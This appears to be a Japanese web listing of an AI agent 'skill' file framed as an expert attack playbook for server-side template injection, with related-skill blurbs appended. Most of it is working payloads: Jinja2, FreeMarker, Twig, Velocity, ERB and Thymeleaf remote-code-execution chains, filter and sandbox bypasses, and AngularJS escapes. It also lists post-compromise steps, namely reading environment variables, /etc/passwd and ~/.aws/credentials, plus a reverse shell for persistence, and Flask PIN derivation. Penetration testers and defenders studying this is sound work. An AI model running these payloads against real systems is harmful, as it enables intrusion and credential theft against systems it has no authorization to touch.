ssti-server-side-template-injection
テンプレート式やサーバーサイドレンダリング、プレビュー機能、テンプレートエンジンが攻撃者の制御するコンテンツを評価する可能性がある場合に使用する、SSTI(サーバーサイドテンプレートインジェクション)の調査・攻略手順書です。
description の原文を見る
>- SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
SKILL.md 本文
SKILL: Server-Side Template Injection (SSTI) — Expert Attack Playbook
AI LOAD INSTRUCTION: SSTI の専門的な技術。ポリグロット検出プローブ、エンジン フィンガープリント、Jinja2/FreeMarker/Twig/ERB RCE チェーン、クライアント側の Angular SSTI、およびバイパス技術をカバーしています。ベースモデルは、サンドボックス逃脱 MRO チェーンと非 Jinja2 エンジンを見落とすことが多いです。PHP CMS テンプレート eval、Jira SSTI、Confluence OGNL、Spring Cloud Gateway SpEL については、付属の
SCENARIOS.mdを参照してください。
0. 関連ルーティング
完全なエンジン固有の悪用を使用する前に、最初に以下を読み込むことができます:
- このファイルの上部にあるポリグロット プローブ シーケンスを使用して、ノイズの少ないフィンガープリンティングを行います
${7*7}または%{7*7}が Java (SpEL/OGNL) で解決される場合、expression-language-injectionを使用してください — テンプレート エンジンとは異なる攻撃面です
拡張シナリオ
以下の場合、SCENARIOS.md も読み込んでください:
- Maccms 8.x PHP テンプレート
eval—vod-searchの{if-A:phpinfo()}{endif-A}、webshell 書き込みの base64 バイパス - Jira CVE-2019-11581 — 「管理者に連絡」フォーム → Velocity テンプレート インジェクション → 管理者メール内のコマンド出力
- Spring Cloud Gateway SpEL (CVE-2022-22947) — actuator ルート インジェクションと
StreamUtils.copyToByteArrayによる出力キャプチャ - Struts2 OGNL S2-045 (CVE-2017-5638) — Content-Type ヘッダー OGNL インジェクションと
_memberAccess/OgnlUtilブラックリスト削除 - Confluence OGNL CVE-2021-26084 —
createpage-entervariables.actionと\u0027ユニコード バイパス - SSTI と EL インジェクションの区別ガイド
- 追加テンプレート エンジン: ASP.NET Razor、Elixir EEx、PHP Smarty/Latte/Blade、JS Pug/Handlebars/Nunjucks/EJS/Lodash + ユニバーサル検出 + ブラインド SSTI + Flask PIN 計算
SCENARIOS.md リファレンス (§7–§11): Razor、EEx/LEEx/HEEx、PHP スタック、JavaScript テンプレート エンジンの拡張ペイロードとエンジン固有のメモ、ユニバーサル ポリグロット プローブ、数学的フィンガープリント、ブラインド SSTI (ブール値 / 時間 / OOB)、Flask デバッグ PIN の前提条件については、SCENARIOS.md を参照してください。本スキルは §13–§15 に簡潔なチェックリストを保持しています。
エンジン ペイロード リファレンス
拡張されたエンジン固有のフィンガープリント、ペイロード マトリックス (Jinja2、Twig、Freemarker、Velocity、Pebble、Mako、Slim、Handlebars、Thymeleaf、Smarty、ERB、Jade/Pug)、およびブラインド SSTI 検出技術 (タイミング ベース、DNS ベース) については、ENGINE_PAYLOADS.md を参照してください。
ユニバーサル検出とブラインド SSTI (ポインタ)
§1 と §13 のポリグロット ペイロードと数学プローブを最初に使用してください。より完全なブラインド テスト パターンとエンジンごとの例 (非 Python スタックを含む) が必要な場合は、SCENARIOS.md の §11 に従い、ここの §14 と相互確認してください (ブール値、時間、OOB、エラーベース)。
1. 検出 — ポリグロット プローブ シーケンス
最初のテスト: SSTI と XSS を区別します。これらのプローブを送信し、サーバー側で数学が評価されているかをチェックします:
{{7*7}} → 49 を返す場合 ({{7*7}} ではなく) → Jinja2 または Twig
${7*7} → 49 を返す場合 → FreeMarker、Velocity、または Java EL
#{7*7} → Ruby (文字列内の ERB 補間)
<#assign x=7*7>${x} → FreeMarker
@{7*7} → Thymeleaf
*{7*7} → Thymeleaf SpEL (*{...})
Jinja2 vs Twig の区別:
{{7*'7'}}
→ 7777777 = Jinja2 (Python 文字列乗算)
→ 49 = Twig (PHP 数値)
安全な検出プローブ (数学なし、ブール値のみ):
{{''.__class__}} → class 'str' = Python/Jinja2
2. エンジン-言語マッピング
| テンプレート エンジン | 言語 | フレームワーク |
|---|---|---|
| Jinja2 | Python | Flask、FastAPI |
| Django Templates | Python | Django |
| Mako | Python | Pyramid |
| Twig | PHP | Symfony、Laravel |
| Smarty | PHP | 各種 |
| FreeMarker | Java | Spring MVC |
| Velocity | Java | 各種 Java |
| Pebble | Java | 各種 Java |
| Thymeleaf | Java | Spring Boot |
| ERB | Ruby | Rails |
| Slim / Haml | Ruby | Rails |
| Jade / Pug | Node.js | Express |
| Handlebars | Node.js | Express |
| Tornado | Python | Tornado |
エラーから言語を特定 → その後、テンプレート エンジンを絞ります。
3. JINJA2 (PYTHON FLASK) — RCE チェーン
チェーン 1: __globals__ 経由の os モジュール
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
チェーン 2: MRO サブクラス トラバーサル (サンドボックス逃脱)
# すべてのサブクラスをリストアップ:
{{''.__class__.__mro__[1].__subclasses__()}}
# subprocess.Popen インデックスを見つけます (通常は 258-270 の範囲、Python バージョンによって異なります):
# リスト内で "subprocess.Popen" を探します
# コマンドを実行 ([258] を正しいインデックスに置き換えます):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
チェーン 3: request オブジェクト グローバルス (config がブロックされている場合に機能)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
(_ フィルタリングを回避するため 16 進数エンコーディングを使用)
チェーン 4: lipsum 関数グローバルス (Flask ビルトイン)
{{lipsum.__globals__.os.popen('id').read()}}
チェーン 5: cycler オブジェクト
{{cycler.__init__.__globals__.os.popen('id').read()}}
正しい subprocess インデックスを動的に見つける:
# インジェクション内:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}
4. JINJA2 サンドボックス バイパス技術
_ (アンダースコア) がブロックされている場合:
# 16 進数エンコーディングで attr フィルタを使用:
''|attr('\x5f\x5fclass\x5f\x5f')
# request オブジェクト経由で getattr を使用:
request|attr('args')|attr('__class__')
. (ドット) がブロックされている場合:
# [] 添字表記を使用:
''['__class__']
config['SECRET_KEY']
キーワード (class、mro) がブロックされている場合:
attr() で 16 進数/ユニコードを使用:
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
出力エンコーディングが HTML エンティティをストリップする場合:
|safe フィルタを使用して自動エスケープを防止します。
5. FREEMARKER (JAVA) — RCE
freemarker.template.utility.Execute 経由でコマンドを実行
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
ObjectConstructor 経由の代替:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}
6. TWIG (PHP) — RCE
// Twig 1.x (サンドボックス前):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// ビルトインを使用した Twig 2.x:
{{['id']|map('system')|join}}
// フィルタ マップ経由:
{{app.request.server.all|join(',')}}
7. VELOCITY (JAVA) — RCE
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)
またはより直接的に:
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))
8. ERB (RUBY RAILS) — RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
9. THYMELEAF (JAVA SPRING) — RCE
Thymeleaf と Spring EL (SpEL):
// th:text または th:fragment コンテキスト内:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// フラグメント式コンテキスト:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type
10. クライアント側テンプレート インジェクション (AngularJS)
AngularJS がクライアント側で使用されていて、ユーザー データがテンプレート式に流れる場合:
// AngularJS 1.x サンドボックス逃脱:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
検出: {{1+1}} を送信 — ページに 2 が表示される場合、AngularJS は DOM 内の式を評価します。
11. SSTI → 完全 RCE パス
SSTI 検出 → エンジンを特定
├── Jinja2 → config.__globals__['os'].popen()
│ または Popen のサブクラス トラバーサル
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()
RCE 後のピボット:
/proc/self/environを読む — 認証情報を持つ環境変数- アプリケーション設定ファイルを読む — DB パスワード、API キー
cat ~/.aws/credentials— クラウド認証情報- 永続性のための リバース シェル
12. 一般的なインジェクション エントリ ポイント
ユーザー データがテンプレートに入る場所:
- URL パス:
https://site.com/home?name={{7*7}} - クエリ パラメータ:
?message=Hello - HTML フォーム: プロフィール名、自己紹介、コンテンツ フィールド
- エラー ページ:
404 Not Found: /PAYLOAD - メール テンプレート: パスワード リセット メール内の名前
- インライン テンプレート レンダリング:
render_template_string(user_input)
最も危険: Flask の render_template_string() — ユーザー入力全体がテンプレートとして使用されます。
13. ユニバーサル検出ペイロード
多くのエンジンでエラーまたは評価をトリガーするポリグロット プローブ:
${{<%[%'"}}%\.
ブラインド/エラー確認用の数学プローブ:
{{7*7}} → 49 (Jinja2、Twig、Nunjucks、Handlebars)
${7*7} → 49 (FreeMarker、Velocity、EL、Thymeleaf)
<%= 7*7 %> → 49 (ERB、EJS、EEx)
#{7*7} → 49 (Pug、Ruby 補間)
@(7*7) → 49 (Razor)
{7*7} → 49 (Smarty)
エラーベースのエンジン フィンガープリント (パーサー/スタック トレースはしばしばエンジンを名前で示します):
(1/0).zxy.zxy
14. ブラインド SSTI 技術
- ブール値ベース:
(3*4/2)と3*)2(/4を比較 — 最初が解決され、2 番目がエラーの場合、評価の可能性が高い - 時間ベース:
{{sleep(5)}}またはエンジン固有の遅延相当 - OOB: 直接出力が表示されない場合、テンプレート式経由の DNS/HTTP コールバック
- エラーベース: 真/偽の条件に基づいて異なるエラー メッセージを強制
15. FLASK PIN 計算
Flask デバッグ モード (Werkzeug デバッガー) が公開されている場合でも PIN で保護されている場合、PIN はホスト固有の値から派生します。公開 PIN 計算スクリプトの一般的な入力:
username—/etc/passwdから (Flask プロセスを実行しているユーザー)- モジュール名 —
flask.appまたはFlaskであることが多い - アプリケーション パス —
app.pyまたは実際のメイン ファイル名 - MAC アドレス — 例
/sys/class/net/eth0/address、Werkzeug が期待する形式に小数に変換 - マシン ID —
/etc/machine-id、または Werkzeug のアルゴリズム に従って/proc/sys/kernel/random/boot_idと/proc/self/cgroupの最初の行を組み合わせたもの - PIN を計算 — これらの値から同じアルゴリズムを実装する確立されたオープンソース PIN 計算機を使用
認可されたテストを行うシステムでのみ使用してください。これらの値の取得は、事前のアクセスまたは追加の情報開示ベクトルを意味します。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。